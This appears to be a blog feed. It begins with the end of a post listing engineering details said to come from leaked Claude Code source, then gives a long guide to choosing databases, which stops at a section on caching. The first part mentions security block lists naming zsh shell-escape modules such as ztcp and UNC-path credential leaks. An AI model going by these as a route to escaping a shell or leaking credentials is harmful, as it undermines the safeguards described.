UNC paths blocked on Windows to prevent NTLM credential leaks. Security thinking at this level is rare.
/dev/zero and /dev/random are blocklisted — because an AI asking to read infinite data would hang forever
Model codenames are masked: "cap*****-v2-fast" prevents internal name leaks in screenshots. Love the attention to detail.
Google Vertex auth skips the metadata server — avoids a 12-second timeout that plagued early users outside GCP
Bedrock/Vertex clients use as unknown as Anthropic — with the honest comment: "we have always been lying about the return type." Peak engineering honesty.
Fork children produce byte-identical system prompts for cache sharing. This saves 50-70% on prompt costs.
The coordinator prompt says "Never thank workers" — because the AI kept being polite to its own sub-processes
Memories >1 day old get staleness warnings — trust but verify, automated
Persistent retry mode keeps sessions alive forever with 30s heartbeats to dodge container kills
/simplify launches 3 parallel agents for code review — one for reuse, one for quality, one for efficiency
Slack's OAuth returns HTTP 200 on errors — and Anthropic wrote custom detection for this non-standard behavior
File descriptor passing is the most secure auth method — invisible to ps aux and other processes
Smart quote normalization for macOS curly→straight conversions. The kind of bug that takes hours to find.
Zsh module blocklist prevents shell escapes via zmodload, sysopen, ztcp — serious security hardening
The cyber risk instruction says "DO NOT MODIFY WITHOUT SAFEGUARDS TEAM REVIEW" — process discipline baked into code comments
Diminishing returns detection stops after <500 new tokens across 3 attempts. Saves money and user patience.
Voice input processes 16-bit signed LE PCM with RMS amplitude for a waveform visualization
The UI is React rendered in the terminal via a custom Ink reconciler + WASM Yoga layout engine
Vim mode is a complete state machine — motions, operators, text objects, dot-repeat. Not a toy.
x-client-request-id (UUID) injected into every API call — because when a request times out, you have no server ID to reference

What This Teaches Us

Claude Code isn't impressive because of AI magic. It's impressive because of relentless engineering discipline.

Every edge case has been hit in production and solved. Every error has a recovery path. Every performance bottleneck has been measured and addressed. Every security hole has been plugged. You can feel the weight of thousands of production incidents behind the code — not because it's messy, but because it's thorough in a way that only comes from real-world pain.

The patterns here — circuit breakers, cache stability, fail-closed security, withholding recoverable errors, streaming-first UX — aren't unique to AI tools. They're universal principles for building production software that actually works.

The fact that it's 512K lines of TypeScript for what looks like "a CLI that talks to an API" tells you everything about the gap between a demo and a product. And honestly, I have a lot of respect for the team that built this.

Want the full deep-dive with 4 extra sections — the UI system, build pipeline, authentication, and slash commands? Read the companion post: Claude Code Source Leaked — Every System Explained From Scratch (512K Lines Broken Down).

If you found this useful, let's connect — I write about software architecture, AI tools, and the engineering behind production systems.

Connect with me on LinkedIn

How to Choose the Right Database for Your Use Case (Beginner to Advanced)

Ishaan Pandey — Sat, 21 Mar 2026 11:46:03 +0000

How to Choose the Right Database for Your Use Case

"There is no best database — only the best database for your use case."

Choosing a database is one of the most critical architectural decisions you'll ever make. Pick the right one, and your system scales effortlessly. Pick the wrong one, and you're rewriting infrastructure at 3 AM while production burns.

This guide takes you from zero to expert — covering every major database type, when to use each, real-world examples, and a battle-tested decision framework.

Whether you're building a side project or designing systems at scale, this is your one-stop reference.

Why Database Choice Matters
The Database Landscape — A Bird's Eye View
Relational Databases (SQL)
Document Databases
Key-Value Stores
Wide-Column Databases
Graph Databases
Time-Series Databases
Search Engines
Vector Databases
NewSQL Databases
Core Concepts You Must Know
The Decision Framework
Real-World Architecture Examples
Common Mistakes to Avoid
Polyglot Persistence — Using Multiple Databases
Trends in 2025–2026
Cheat Sheet

Why Database Choice Matters

Let's get real — your database will outlive your code. Frameworks change, languages evolve, but data and its storage persist.

Here's what happens when you choose wrong:

Performance bottlenecks → You're sharding a relational DB that should've been a key-value store
Data integrity issues → You picked a schemaless DB for financial transactions
Scaling nightmares → Your DB can't handle horizontal scaling when traffic 10x's overnight
Wasted engineering time → Your team fights the database instead of building features

The cost of migrating databases in production is enormous — often requiring months of dual-write architectures, data backfills, and prayer.

Choose wisely from the start.

The Database Landscape

Before diving deep, here's the big picture:

┌─────────────────────────────────────────────────────────┐
│                    DATABASE TYPES                         │
├──────────────┬──────────────┬──────────────┬────────────┤
│  Relational  │   Document   │  Key-Value   │Wide-Column │
│  PostgreSQL  │   MongoDB    │    Redis     │ Cassandra  │
│    MySQL     │   CouchDB    │  DynamoDB    │   HBase    │
│  SQL Server  │  Firestore   │  Memcached   │  ScyllaDB  │
├──────────────┼──────────────┼──────────────┼────────────┤
│    Graph     │ Time-Series  │   Search     │   Vector   │
│    Neo4j     │  InfluxDB    │Elasticsearch │  Pinecone  │
│   Neptune    │ TimescaleDB  │ Meilisearch  │  Weaviate  │
│  ArangoDB    │   QuestDB    │  Typesense   │   Milvus   │
├──────────────┴──────────────┴──────────────┴────────────┤
│                      NewSQL                              │
│         CockroachDB  •  TiDB  •  Google Spanner          │
└─────────────────────────────────────────────────────────┘

Each type is optimized for a specific access pattern. Let's break them all down.

1. Relational Databases (SQL)

Examples: PostgreSQL, MySQL, MariaDB, SQL Server, Oracle, SQLite

How They Work

Relational databases store data in tables (rows and columns) with predefined schemas. Tables are linked through foreign keys, and you query them using SQL (Structured Query Language).

Under the hood, they use a B-tree or B+ tree index structure for fast lookups, and a write-ahead log (WAL) for crash recovery.

-- Example: E-commerce schema
CREATE TABLE users (
    id SERIAL PRIMARY KEY,
    name VARCHAR(100) NOT NULL,
    email VARCHAR(255) UNIQUE NOT NULL,
    created_at TIMESTAMP DEFAULT NOW()
);

CREATE TABLE orders (
    id SERIAL PRIMARY KEY,
    user_id INT REFERENCES users(id),
    total DECIMAL(10,2) NOT NULL,
    status VARCHAR(20) DEFAULT 'pending',
    created_at TIMESTAMP DEFAULT NOW()
);

-- Get all orders for a user with a JOIN
SELECT u.name, o.total, o.status
FROM users u
JOIN orders o ON u.id = o.user_id
WHERE u.email = 'john@example.com';

Strengths

ACID transactions — Atomicity, Consistency, Isolation, Durability. Your data is always in a valid state
Complex queries — JOINs, aggregations, subqueries, window functions
Data integrity — Schemas enforce structure; foreign keys enforce relationships
Mature ecosystem — Decades of tooling, ORMs, monitoring, and community knowledge
Standardized — SQL is universal; skills transfer across databases

Weaknesses

Vertical scaling bias — Traditionally scale up (bigger machine), not out (more machines)
Schema rigidity — ALTER TABLE on a billion-row table is painful
Not ideal for hierarchical/nested data — Normalizing deeply nested JSON into tables gets messy
Write throughput ceiling — Single-leader replication creates write bottlenecks at extreme scale

When to Use

Use Case	Why
E-commerce	Transactions ensure orders, payments, and inventory stay consistent
Banking/Fintech	ACID compliance is non-negotiable for money
SaaS applications	Structured data with complex relationships
Content Management	Well-defined schemas for articles, users, categories
Any CRUD application	The default choice when data is structured and relational

PostgreSQL vs MySQL — Quick Comparison

Feature	PostgreSQL	MySQL
JSON support	Excellent (`jsonb`)	Good (`JSON` type)
Full-text search	Built-in	Built-in
Extensions	Rich (PostGIS, pgvector, etc.)	Limited
Replication	Logical + Physical	Binary log
ACID compliance	Full	Full (with InnoDB)
Performance	Better for complex queries	Better for simple reads
Best for	Complex apps, analytics, GIS	Web apps, read-heavy workloads

Pro tip: When in doubt, start with PostgreSQL. It's the Swiss Army knife of databases — it handles relational data, JSON, full-text search, geospatial queries, and even vector embeddings (via pgvector).

2. Document Databases

Examples: MongoDB, CouchDB, Firestore, Amazon DocumentDB

How They Work

Document databases store data as JSON-like documents (BSON in MongoDB). Each document is self-contained — no rigid schema, no JOINs needed. Documents are grouped into collections.

// A single MongoDB document — notice nested data
{
  "_id": "order_12345",
  "customer": {
    "name": "Jane Doe",
    "email": "jane@example.com",
    "address": {
      "street": "123 Main St",
      "city": "San Francisco",
      "zip": "94105"
    }
  },
  "items": [
    { "product": "Laptop", "price": 999.99, "qty": 1 },
    { "product": "Mouse", "price": 29.99, "qty": 2 }
  ],
  "total": 1059.97,
  "status": "shipped",
  "created_at": "2025-12-01T10:30:00Z"
}

Strengths

Flexible schema — Each document can have different fields. Perfect for evolving data models
Nested/hierarchical data — Embed related data directly; no JOINs needed
Horizontal scaling — Built-in sharding distributes data across nodes
Developer-friendly — JSON maps directly to objects in most languages
Fast reads — All related data in one document = single read

Weaknesses

No JOINs (by design) — Denormalized data means updates can affect multiple documents
Data duplication — Embedding data creates copies that can go stale
Weaker consistency guarantees — Eventually consistent by default (tunable)
Not ideal for highly relational data — If you need 6 JOINs, you want SQL

When to Use

Use Case	Why
Content management systems	Articles have varying structures (video, text, gallery)
Product catalogs	Every product has different attributes
User profiles	Flexible fields (preferences, settings, activity)
Mobile/web apps	JSON-native; fast iteration on schemas
Real-time analytics	Aggregation pipeline handles complex analytics
IoT data collection	Variable sensor data schemas

The MongoDB Controversy

MongoDB got a bad reputation early on because people used it for everything — including use cases where a relational DB was clearly better (like financial transactions). The lesson:

MongoDB is not a replacement for PostgreSQL. It's a different tool for different problems.

Use MongoDB when your data is naturally document-shaped and you need schema flexibility + horizontal scale. Don't use it just because "NoSQL is cool."

3. Key-Value Stores

Examples: Redis, Amazon DynamoDB, Memcached, etcd, Riak

How They Work

The simplest database model: every piece of data is stored as a key-value pair. Think of it as a giant, distributed hash map.

Key                    → Value
──────────────────────────────────────
"user:1001:session"    → "eyJhbGciOiJIUz..."
"product:sku:A123"     → {"name": "Widget", "price": 9.99}
"rate_limit:ip:1.2.3"  → 47
"cache:homepage:v3"    → "<html>...</html>"

Redis — The King of Key-Value

Redis deserves special mention. It's an in-memory data store that supports rich data structures:

# Strings
SET user:session:abc123 "token_data" EX 3600  # Expires in 1 hour

# Hash (like a mini-document)
HSET user:1001 name "Alice" email "alice@example.com" plan "pro"
HGET user:1001 name  # → "Alice"

# Sorted Set (leaderboards!)
ZADD leaderboard 9500 "player:alice"
ZADD leaderboard 8700 "player:bob"
ZREVRANGE leaderboard 0 9 WITHSCORES  # Top 10 players

# Lists (queues)
LPUSH notifications:user:1001 "New message from Bob"
RPOP notifications:user:1001

# Pub/Sub (real-time messaging)
PUBLISH chat:room:42 "Hello everyone!"

Strengths

Blazing fast — O(1) lookups. Redis: sub-millisecond latency
Simple API — GET, SET, DELETE. Hard to misuse
Perfect for caching — Reduce load on your primary database
Horizontal scaling — DynamoDB scales to virtually unlimited throughput
TTL support — Auto-expire data (sessions, OTPs, rate limits)

Weaknesses

No complex queries — Can't filter, sort, or JOIN
Limited data modeling — Everything is accessed by key; no relationships
Memory cost — In-memory stores (Redis) are expensive at scale
Data loss risk — In-memory stores can lose data on crash (mitigated by persistence options)

Redis vs DynamoDB

Feature	Redis	DynamoDB
Storage	In-memory	Disk (SSD)
Latency	Sub-millisecond	Single-digit millisecond
Scale	Manual sharding	Auto-scaling
Cost	Memory-based ($$$)	Pay-per-request
Persistence	Optional (RDB/AOF)	Built-in
Best for	Caching, real-time	Serverless apps, any scale

When to Use

Use Case	Why
Caching	Cache DB queries, API responses, HTML fragments
Session storage	Fast read/write with TTL for expiry
Rate limiting	Atomic counters with expiration
Leaderboards	Redis sorted sets are purpose-built for this
Feature flags	Quick lookups for on/off switches
Shopping carts	Temporary, user-specific data with expiry
Message queues	Redis lists/streams for simple queuing

4. Wide-Column Databases

Examples: Apache Cassandra, HBase, ScyllaDB, Google Bigtable

How They Work

Wide-column stores organize data into rows and column families. Unlike relational tables, each row can have different columns, and columns are grouped by access patterns.

Think of it as a two-dimensional key-value store — you look up data by (row_key, column_family:column).

Row Key          | Column Family: user_info      | Column Family: activity
─────────────────┼───────────────────────────────┼──────────────────────
user:1001        | name="Alice", email="a@b.com" | last_login="2025-12-01"
user:1002        | name="Bob", phone="555-1234"  | last_login="2025-11-28"
                 |                               | last_purchase="2025-12-05"

Cassandra — The Write Champion

Cassandra uses a masterless ring architecture — every node is equal. Writes go to any node and are replicated. This means:

No single point of failure
Linear horizontal scaling — add nodes, get proportional throughput
Tunable consistency — from eventual to strong, per query

-- Cassandra Query Language (CQL)
CREATE TABLE sensor_readings (
    sensor_id UUID,
    timestamp TIMESTAMP,
    temperature DOUBLE,
    humidity DOUBLE,
    PRIMARY KEY (sensor_id, timestamp)
) WITH CLUSTERING ORDER BY (timestamp DESC);

-- Partition key: sensor_id (distributes data)
-- Clustering key: timestamp (sorts within partition)

INSERT INTO sensor_readings (sensor_id, timestamp, temperature, humidity)
VALUES (uuid(), '2025-12-01T10:00:00Z', 23.5, 65.2);

Strengths

Massive write throughput — Handles millions of writes per second
Linear scalability — Performance grows linearly with nodes
High availability — No master node; no single point of failure
Geo-replication — Built-in multi-datacenter support
Time-series friendly — Clustering keys naturally order time-series data

Weaknesses

No JOINs or complex queries — You must model data around your queries
Query-first design — You design tables for specific queries, not normalized models
Read performance — Reads are slower than writes (must check multiple nodes)
Operational complexity — Running Cassandra well requires expertise
Eventual consistency — Default behavior; strong consistency is expensive

When to Use

Use Case	Why
IoT sensor data	Millions of devices writing constantly
Messaging systems	Discord uses Cassandra for billions of messages
Time-series at scale	Event logging, metrics, activity feeds
Recommendation engines	Netflix uses Cassandra for user activity
Geo-distributed apps	Multi-region with low-latency writes

5. Graph Databases

Examples: Neo4j, Amazon Neptune, ArangoDB, JanusGraph, TigerGraph

How They Work

Graph databases store data as nodes (entities) and edges (relationships). Each node and edge can have properties. They're designed for traversing relationships efficiently.

      ┌─────────┐    FOLLOWS     ┌─────────┐
      │  Alice  │───────────────▶│   Bob   │
      │ (User)  │                │ (User)  │
      └────┬────┘                └────┬────┘
           │ LIKES                    │ POSTED
           ▼                          ▼
      ┌─────────┐               ┌──────────┐
      │  Post1  │               │  Post2   │
      │ (Post)  │◀──COMMENTED───│  (Post)  │
      └─────────┘               └──────────┘

// Cypher query language (Neo4j)

// Create nodes and relationships
CREATE (alice:User {name: "Alice", age: 28})
CREATE (bob:User {name: "Bob", age: 32})
CREATE (alice)-[:FOLLOWS]->(bob)
CREATE (alice)-[:LIKES]->(post1:Post {title: "Graph DBs Rock"})

// Find friends of friends (2nd degree connections)
MATCH (me:User {name: "Alice"})-[:FOLLOWS*2]->(fof:User)
WHERE fof <> me
RETURN fof.name

// Find shortest path between two users
MATCH path = shortestPath(
  (a:User {name: "Alice"})-[:FOLLOWS*]-(b:User {name: "Charlie"})
)
RETURN path

// Recommendation: "Users who like what you like also like..."
MATCH (me:User {name: "Alice"})-[:LIKES]->(post)<-[:LIKES]-(other)-[:LIKES]->(rec)
WHERE NOT (me)-[:LIKES]->(rec)
RETURN rec.title, COUNT(other) AS score
ORDER BY score DESC LIMIT 5

Strengths

Relationship queries are O(1) — Traversing edges is constant time per hop, regardless of total data size
Intuitive modeling — Whiteboard diagrams map directly to the data model
Pattern matching — Find complex patterns across deeply connected data
No JOIN performance cliff — Relational JOINs slow down with depth; graph traversals don't

Weaknesses

Not for simple CRUD — Overkill if your data isn't relationship-heavy
Aggregation limitations — Not ideal for "sum all revenue" type queries
Scaling challenges — Graph partitioning is fundamentally hard (NP-hard problem)
Smaller ecosystem — Fewer ORMs, tools, and tutorials than SQL/MongoDB

When to Use

Use Case	Why
Social networks	Friends, followers, mutual connections
Recommendation engines	"People who bought X also bought Y"
Fraud detection	Trace transaction chains and suspicious patterns
Knowledge graphs	Wikipedia, Google Knowledge Panel
Network/IT infrastructure	Map dependencies between services
Access control	Model complex permission hierarchies

Key insight: If your most important queries involve relationships between entities (not just the entities themselves), you need a graph database.

6. Time-Series Databases

Examples: InfluxDB, TimescaleDB, QuestDB, Prometheus, Amazon Timestream

How They Work

Time-series databases are optimized for timestamped data — metrics, events, sensor readings, stock prices. They handle:

High ingestion rates (millions of data points per second)
Time-range queries (last 24 hours, last 7 days)
Automatic downsampling (aggregate old data to save space)
Built-in time functions (moving averages, rate of change)

-- TimescaleDB (PostgreSQL extension) example
CREATE TABLE metrics (
    time        TIMESTAMPTZ NOT NULL,
    sensor_id   INT,
    temperature DOUBLE PRECISION,
    humidity    DOUBLE PRECISION
);

-- Convert to a hypertable (enables time-series optimizations)
SELECT create_hypertable('metrics', 'time');

-- Insert data
INSERT INTO metrics VALUES
    (NOW(), 1, 23.5, 65.0),
    (NOW(), 2, 21.3, 70.2);

-- Query: Average temperature per hour for the last 24 hours
SELECT time_bucket('1 hour', time) AS hour,
       AVG(temperature) AS avg_temp
FROM metrics
WHERE time > NOW() - INTERVAL '24 hours'
GROUP BY hour
ORDER BY hour;

-- Continuous aggregate (auto-maintained materialized view)
CREATE MATERIALIZED VIEW hourly_temps
WITH (timescaledb.continuous) AS
SELECT time_bucket('1 hour', time) AS hour,
       sensor_id,
       AVG(temperature) AS avg_temp,
       MAX(temperature) AS max_temp
FROM metrics
GROUP BY hour, sensor_id;

Strengths

Extreme write throughput — Append-only writes are very fast
Compression — 10-20x compression ratios on time-series data
Built-in time functions — Bucketing, downsampling, gap-filling
Retention policies — Auto-delete data older than X days
Optimized storage — Columnar storage for time-series patterns

Weaknesses

Not for general-purpose queries — Poor at random lookups or JOINs
Append-heavy — Updates and deletes are expensive
Limited data modeling — Everything is centered around timestamps
Niche use case — If your data isn't inherently temporal, it's the wrong tool

When to Use

Use Case	Why
Application monitoring	Metrics, logs, traces (Grafana + InfluxDB)
IoT sensor data	Temperature, pressure, GPS over time
Financial market data	Stock prices, trading volumes, candlestick data
DevOps metrics	CPU, memory, request latency, error rates
Energy/utilities	Smart meter readings, grid monitoring
Fitness/health	Heart rate, step counts, sleep data

Pro tip: TimescaleDB gives you the best of both worlds — it's a PostgreSQL extension, so you get full SQL + time-series optimizations. Great if you don't want to run a separate database.

7. Search Engines

Examples: Elasticsearch, OpenSearch, Meilisearch, Typesense, Apache Solr

How They Work

Search engines use inverted indexes — instead of mapping documents to words, they map words to documents. This makes full-text search lightning-fast.

Standard index:    Document → Words
Inverted index:    Word → Documents

"database"  → [doc1, doc3, doc7, doc15]
"postgres"  → [doc1, doc5, doc12]
"scaling"   → [doc3, doc7, doc9]

// Elasticsearch: Index a document
PUT /products/_doc/1
{
  "name": "Wireless Bluetooth Headphones",
  "description": "Premium noise-cancelling headphones with 30-hour battery",
  "category": "Electronics",
  "price": 149.99,
  "tags": ["wireless", "bluetooth", "noise-cancelling"]
}

// Search with relevance scoring
GET /products/_search
{
  "query": {
    "bool": {
      "must": [
        { "match": { "description": "noise cancelling wireless" } }
      ],
      "filter": [
        { "range": { "price": { "lte": 200 } } },
        { "term": { "category": "Electronics" } }
      ]
    }
  },
  "highlight": {
    "fields": { "description": {} }
  }
}

Elasticsearch vs Meilisearch vs Typesense

Feature	Elasticsearch	Meilisearch	Typesense
Speed	Fast	Very fast	Very fast
Setup	Complex (JVM)	Simple (single binary)	Simple
Typo tolerance	Plugin-based	Built-in	Built-in
Scale	Massive (PB+)	Small-medium	Small-medium
Resource usage	Heavy (RAM hungry)	Light	Light
Best for	Large-scale search & analytics	Product search, SaaS apps	Fast typo-tolerant search

When to Use

Use Case	Why
Product search	"Show me red shoes under $50" with typo tolerance
Log analytics	ELK stack (Elasticsearch + Logstash + Kibana)
Autocomplete	Real-time suggestions as user types
Document search	Search across millions of PDFs, articles, emails
Geospatial search	"Restaurants within 5 miles"

Important: Search engines are almost never your primary database. They're used alongside your main DB for search-specific queries.

8. Vector Databases

Examples: Pinecone, Weaviate, Milvus, Qdrant, Chroma, pgvector (PostgreSQL)

How They Work

Vector databases store and search high-dimensional vectors (embeddings). These embeddings are numerical representations of data (text, images, audio) generated by AI/ML models.

Instead of exact matching, they find semantically similar items using distance metrics (cosine similarity, Euclidean distance).

# How vector search works conceptually

# 1. Convert text to embedding (using an AI model)
query = "comfortable running shoes"
query_vector = embedding_model.encode(query)
# → [0.23, -0.45, 0.87, 0.12, ...] (768+ dimensions)

# 2. Search for nearest vectors in the database
results = vector_db.search(
    collection="products",
    vector=query_vector,
    top_k=5,
    filter={"category": "footwear"}
)

# 3. Results ranked by semantic similarity — not keyword matching
# "lightweight marathon trainers" would match
# "jogging sneakers with cushion" would match
# Even though none contain "comfortable" or "running shoes"

-- pgvector (PostgreSQL extension) — if you want vector search without a new DB
CREATE EXTENSION vector;

CREATE TABLE documents (
    id SERIAL PRIMARY KEY,
    content TEXT,
    embedding vector(1536)  -- OpenAI embedding dimension
);

-- Create an index for fast similarity search
CREATE INDEX ON documents USING ivfflat (embedding vector_cosine_ops)
WITH (lists = 100);

-- Find 5 most similar documents
SELECT content, 1 - (embedding <=> query_embedding) AS similarity
FROM documents
ORDER BY embedding <=> '[0.23, -0.45, ...]'::vector
LIMIT 5;

Strengths

Semantic search — Find similar meaning, not just matching keywords
AI/ML native — Built for the embedding-based AI workflow
Multi-modal — Search across text, images, audio using unified embeddings
Scalable — Handle billions of vectors with approximate nearest neighbor (ANN) algorithms

Weaknesses

Requires embeddings — You need an ML model to generate vectors
Approximate results — ANN trades accuracy for speed
New ecosystem — Less mature tooling than traditional databases
Cost — Storing high-dimensional vectors at scale is expensive

When to Use

Use Case	Why
RAG (Retrieval Augmented Generation)	Feed relevant context to LLMs
Semantic search	"Find similar products" beyond keyword matching
Image/video search	Reverse image search, content moderation
Recommendation systems	Similar items based on embedding proximity
Anomaly detection	Find data points far from normal clusters
Chatbot memory	Store and retrieve conversation history semantically

Pro tip: If you already use PostgreSQL, try pgvector before spinning up a dedicated vector DB. It handles millions of vectors well and keeps your stack simple.

9. NewSQL Databases

Examples: CockroachDB, TiDB, Google Spanner, YugabyteDB, PlanetScale

How They Work

NewSQL databases combine the best of both worlds:

SQL interface + ACID transactions (like traditional RDBMS)
Horizontal scalability (like NoSQL)

They achieve this through distributed consensus algorithms (like Raft or Paxos) and innovative architectures.

-- CockroachDB: Standard SQL that scales horizontally
CREATE TABLE accounts (
    id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
    owner STRING NOT NULL,
    balance DECIMAL NOT NULL,
    region STRING NOT NULL
);

-- Geo-partition data by region
ALTER TABLE accounts PARTITION BY LIST (region) (
    PARTITION us_east VALUES IN ('us-east'),
    PARTITION eu_west VALUES IN ('eu-west'),
    PARTITION ap_south VALUES IN ('ap-south')
);

-- Regular SQL transactions — but they work across distributed nodes
BEGIN;
UPDATE accounts SET balance = balance - 100 WHERE id = 'sender-id';
UPDATE accounts SET balance = balance + 100 WHERE id = 'receiver-id';
COMMIT;

Strengths

SQL compatibility — Use existing SQL skills and tools
Horizontal scaling — Add nodes to scale reads AND writes
Strong consistency — Distributed ACID transactions
High availability — Survives node/datacenter failures
Geo-distribution — Pin data to specific regions for compliance

Weaknesses

Latency overhead — Distributed consensus adds latency (2-10ms vs <1ms for local PostgreSQL)
Complexity — More operationally complex than a single PostgreSQL instance
Cost — Running distributed databases is expensive
Overkill for small scale — If your data fits on one machine, use PostgreSQL

When to Use

Use Case	Why
Global apps needing SQL	Multi-region with strong consistency
Fintech at scale	ACID transactions + horizontal scaling
SaaS platforms	When single-node PostgreSQL hits its ceiling
E-commerce platforms	High traffic with transactional guarantees

Rule of thumb: Start with PostgreSQL. Move to NewSQL only when you've genuinely outgrown single-node performance.

Core Concepts You Must Know

Before choosing a database, you need to understand these foundational concepts.

The CAP Theorem

You can only guarantee two out of three:

         Consistency
            ╱╲
           ╱  ╲
          ╱    ╲
         ╱  CA  ╲        CA: PostgreSQL, MySQL (single-node)
        ╱________╲       CP: MongoDB, HBase, CockroachDB
       ╱╲        ╱╲      AP: Cassandra, DynamoDB, CouchDB
      ╱  ╲  CP  ╱  ╲
     ╱    ╲    ╱ AP ╲
    ╱______╲  ╱______╲
  Partition    Availability
  Tolerance

Consistency (C): Every read gets the most recent write
Availability (A): Every request gets a response (even if not the latest data)
Partition Tolerance (P): System works even if network splits nodes apart

In distributed systems, partition tolerance is mandatory (networks fail). So the real choice is:

CP — Consistent but may reject requests during partitions (banking, inventory)
AP — Always available but may return stale data (social feeds, analytics)

ACID vs BASE

Property	ACID (SQL)	BASE (NoSQL)
A	Atomicity — all or nothing	Basically Available
C	Consistency — valid state	Soft state — may be inconsistent
I	Isolation — concurrent safety	Eventually consistent
D	Durability — survives crashes
Best for	Financial, transactional	High-scale, distributed
Trade-off	Lower throughput	Higher throughput, weaker guarantees

Scaling: Vertical vs Horizontal

Vertical Scaling (Scale Up)          Horizontal Scaling (Scale Out)
┌──────────────────┐                 ┌──────┐ ┌──────┐ ┌──────┐
│                  │                 │Node 1│ │Node 2│ │Node 3│
│  BIGGER SERVER   │                 └──────┘ └──────┘ └──────┘
│  More CPU/RAM    │                 ┌──────┐ ┌──────┐ ┌──────┐
│  More Storage    │                 │Node 4│ │Node 5│ │Node 6│
│                  │                 └──────┘ └──────┘ └──────┘
└──────────────────┘

✓ Simple                             ✓ Virtually unlimited scale
✗ Has a ceiling                      ✗ Complex (sharding, consensus)
✗ Single point of failure            ✓ Fault tolerant

Database Type	Typical Scaling
PostgreSQL, MySQL	Vertical (read replicas for reads)
MongoDB, Cassandra	Horizontal (built-in sharding)
Redis	Both (Cluster mode for horizontal)
CockroachDB, Spanner	Horizontal (distributed SQL)
DynamoDB	Horizontal (auto-scaling)

Consistency Models

From strongest to weakest:

Strong consistency — Reads always return the latest write. (PostgreSQL, Spanner)
Bounded staleness — Reads may be stale, but within a time window. (Cosmos DB)
Session consistency — A client always sees its own writes. (MongoDB default)
Eventual consistency — All nodes converge eventually. (Cassandra, DynamoDB)

The Decision Framework

Here's a practical, step-by-step framework for choosing your database:

Step 1: What Does Your Data Look Like?

Is your data structured with clear relationships?
├── YES → Relational (PostgreSQL, MySQL)
│         └── Need global scale? → NewSQL (CockroachDB, Spanner)
│
├── SEMI-STRUCTURED (JSON, varying fields)?
│   └── Document DB (MongoDB, Firestore)
│
├── SIMPLE key → value lookups?
│   └── Key-Value (Redis, DynamoDB)
│
├── HEAVILY CONNECTED (relationships are the query)?
│   └── Graph DB (Neo4j, Neptune)
│
├── TIMESTAMPED (metrics, events, logs)?
│   └── Time-Series (TimescaleDB, InfluxDB)
│
├── FULL-TEXT SEARCH needed?
│   └── Search Engine (Elasticsearch, Meilisearch)
│
└── AI EMBEDDINGS / SIMILARITY SEARCH?
    └── Vector DB (Pinecone, pgvector)

Step 2: What Are Your Access Patterns?

Pattern	Best Choice
Complex queries with JOINs	Relational (PostgreSQL)
Simple lookups by key	Key-Value (Redis, DynamoDB)
Full-text search with ranking	Search Engine (Elasticsearch)
Time-range aggregations	Time-Series (TimescaleDB)
Graph traversals (friends of friends)	Graph (Neo4j)
High-volume writes, simple reads	Wide-Column (Cassandra)
Similarity/semantic search	Vector DB (Pinecone)

Step 3: What Are Your Non-Functional Requirements?

Ask yourself:

Question	If YES → Consider
Do I need ACID transactions?	PostgreSQL, CockroachDB
Will I have 10K+ writes/second?	Cassandra, DynamoDB, ScyllaDB
Do I need sub-millisecond latency?	Redis, Memcached
Is my data globally distributed?	CockroachDB, Spanner, DynamoDB Global Tables
Do I need to search inside documents?	Elasticsearch, Meilisearch
Am I building AI/ML features?	Pinecone, Weaviate, pgvector
Do I need high availability (99.99%+)?	Cassandra, DynamoDB, CockroachDB
Is my team small / limited budget?	PostgreSQL, SQLite, Firestore

Step 4: Consider Your Team and Budget

This is often more important than technical factors:

Team expertise — A team of PostgreSQL experts will build faster with PostgreSQL than MongoDB, even if MongoDB is theoretically "better" for the use case
Operational cost — Managed services (RDS, Atlas, DynamoDB) cost money but save engineering time
Ecosystem — Consider ORMs, migration tools, monitoring, and community support
Hiring — PostgreSQL/MySQL developers are easier to find than Cassandra experts

Real-World Architecture Examples

E-Commerce Platform (like Shopify)

┌──────────────┐     ┌─────────────────┐     ┌──────────────┐
│  PostgreSQL  │     │   Elasticsearch  │     │    Redis     │
│              │     │                  │     │              │
│ • Orders     │     │ • Product search │     │ • Sessions   │
│ • Payments   │     │ • Faceted filter │     │ • Cart data  │
│ • Users      │     │ • Autocomplete   │     │ • Rate limits│
│ • Inventory  │     │                  │     │ • Cache      │
└──────────────┘     └─────────────────┘     └──────────────┘

Why this combination?

PostgreSQL for transactional integrity (money and inventory can't be "eventually consistent")
Elasticsearch for fast product search with filters, facets, and typo tolerance
Redis for caching and sessions to keep the UX snappy

Social Media Platform (like Twitter/X)

┌──────────────┐     ┌──────────────┐     ┌──────────────┐
│  PostgreSQL  │     │  Cassandra   │     │    Redis     │
│              │     │              │     │              │
│ • Users      │     │ • Timelines  │     │ • Feed cache │
│ • Auth       │     │ • Messages   │     │ • Sessions   │
│ • Settings   │     │ • Activity   │     │ • Trending   │
└──────────────┘     └──────────────┘     └──────────────┘
        │                                        │
        │            ┌──────────────┐            │
        │            │    Neo4j     │            │
        └───────────▶│              │◀───────────┘
                     │ • Social graph│
                     │ • Followers   │
                     │ • Suggestions │
                     └──────────────┘

AI-Powered SaaS Application

┌──────────────┐     ┌──────────────┐     ┌──────────────┐
│  PostgreSQL  │     │   Pinecone   │     │    Redis     │
│  + pgvector  │     │  (or Weaviate)│     │              │
│              │     │              │     │ • LLM cache  │
│ • Users      │     │ • Document   │     │ • Rate limits│
│ • Billing    │     │   embeddings │     │ • Sessions   │
│ • App data   │     │ • Semantic   │     │              │
│              │     │   search     │     │              │
└──────────────┘     └──────────────┘     └──────────────┘

IoT / Industrial Monitoring

┌──────────────┐     ┌──────────────┐     ┌──────────────┐
│  TimescaleDB │     │  PostgreSQL  │     │    Redis     │
│              │     │              │     │              │
│ • Sensor data│     │ • Devices    │     │ • Alerts     │
│ • Metrics    │     │ • Users      │     │ • Real-time  │
│ • Aggregates │     │ • Config     │     │   thresholds │
└──────────────┘     └──────────────┘     └──────────────┘

Common Mistakes to Avoid

1. Using MongoDB for Everything

"We chose MongoDB because it's web-scale!" — said every startup before rewriting their billing system in PostgreSQL.

The fix: Use MongoDB for genuinely document-shaped, schema-flexible data. Use PostgreSQL for transactions and relationships.

2. Premature Optimization with NoSQL

Starting with Cassandra or DynamoDB "for scale" when your app has 100 users is like renting a stadium for a dinner party.

The fix: Start with PostgreSQL. It handles millions of rows efficiently. Migrate when you actually hit scaling limits.

3. Ignoring the Access Pattern

Designing your schema before knowing your queries leads to performance nightmares. Especially in NoSQL:

❌ "Let's store everything in one big collection"
✅ "Our main query is 'get recent orders for user X' — let's model around that"

4. Not Using Caching

